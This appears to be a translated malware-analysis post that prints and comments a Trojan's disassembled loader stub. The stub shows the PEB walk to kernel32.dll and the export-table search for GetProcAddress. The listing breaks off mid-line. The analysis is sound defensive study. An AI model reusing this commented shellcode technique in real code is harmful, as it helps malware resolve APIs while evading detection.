Analysis of a Trojan sample

It's free. Let's take a look.ODLoad directly as follows:

00414000> $ E8 00000000 call 00414005
00414005 $ 5B pop ebx // locate the code
00414006.81EB05024000 sub ebx, 00400205 // The code segment length, followed by a variable
0041400C. 64: 8B3D 30000000 mov edi, dword ptr fs: [30] // FS [30]-> PEB, locate kernel32.dll
00414013. 8B7F 0C mov edi, dword ptr [edi + C] // if you have written shellcode, you should be too familiar with it here.
00414016. 8B7F 1C mov edi, dword ptr [edi + 1C]
00414019. 8B3F mov edi, dword ptr [edi]
0041401B. 8B7F 08 mov edi, dword ptr [edi + 8] // Save the kernel32.dll base address in edi
0041401E. 89BB C2034000 mov dword ptr [ebx + 4003C2], edi // Save the edi value in a global variable
00414024. 8BF7 mov esi, edi // send it to esi
00414026. 0376 3C add esi, dword ptr [esi + 3C] // locate the "PE" Field of kernel32.dll
00414029. 8B76 78 mov esi, dword ptr [esi + 78] // locate the export table
0041402C. 03F7 add esi, edi // obtain the absolute address of the export table
0041402E. 56 push esi // save
0041402F. 8B6E 18 mov ebp, dword ptr [esi + 18] // obtain the number of export functions. To ebp
00414032. 8B76 20 mov esi, dword ptr [esi + 20] // obtain the relative offset of the export function to esi. Pay attention to the esi value and the above changes.
00414035. 03F7 add esi, edi // obtain the absolute address of the function symbol table
00414037. 33D2 xor edx, edx // Reset
00414039> 56 push esi // save esi again. Here is the absolute address of the function symbol table.
0041403A. 8B3E mov edi, dword ptr [esi] // obtain the first exported function
0041403C. 03BB C2034000 add edi, dword ptr [ebx + 4003C2] // add the base address of kernel32.dll to obtain the absolute address.
00414042. 8DB3 87034000 lea esi, dword ptr [ebx + 400387] // esi points to the GetProcAddress function, which is the function to be searched
00414048. B9 0F000000 mov ecx, 0F // ecx counter, the length of the function to be searched
0041404D. F3: A6 repe cmps byte ptr es: [edi], byte ptr> [esi] // repeat the function of kernel32.dll by byte until it is determined that it is the API to be searched
0041404F. 75 06 jnz short 00414057 // not found, skip
00414051. If 5E pop esi // is found, the absolute address of the function symbol table is displayed.
00414052. 8BD6 mov edx, esi // assigned to edx
00414054. 5E pop esi/pop up esi again. Here is the absolute address of the exported table.
00414055. EB 11 jmp short 00414068 // then jump
00414057> 5E & nbs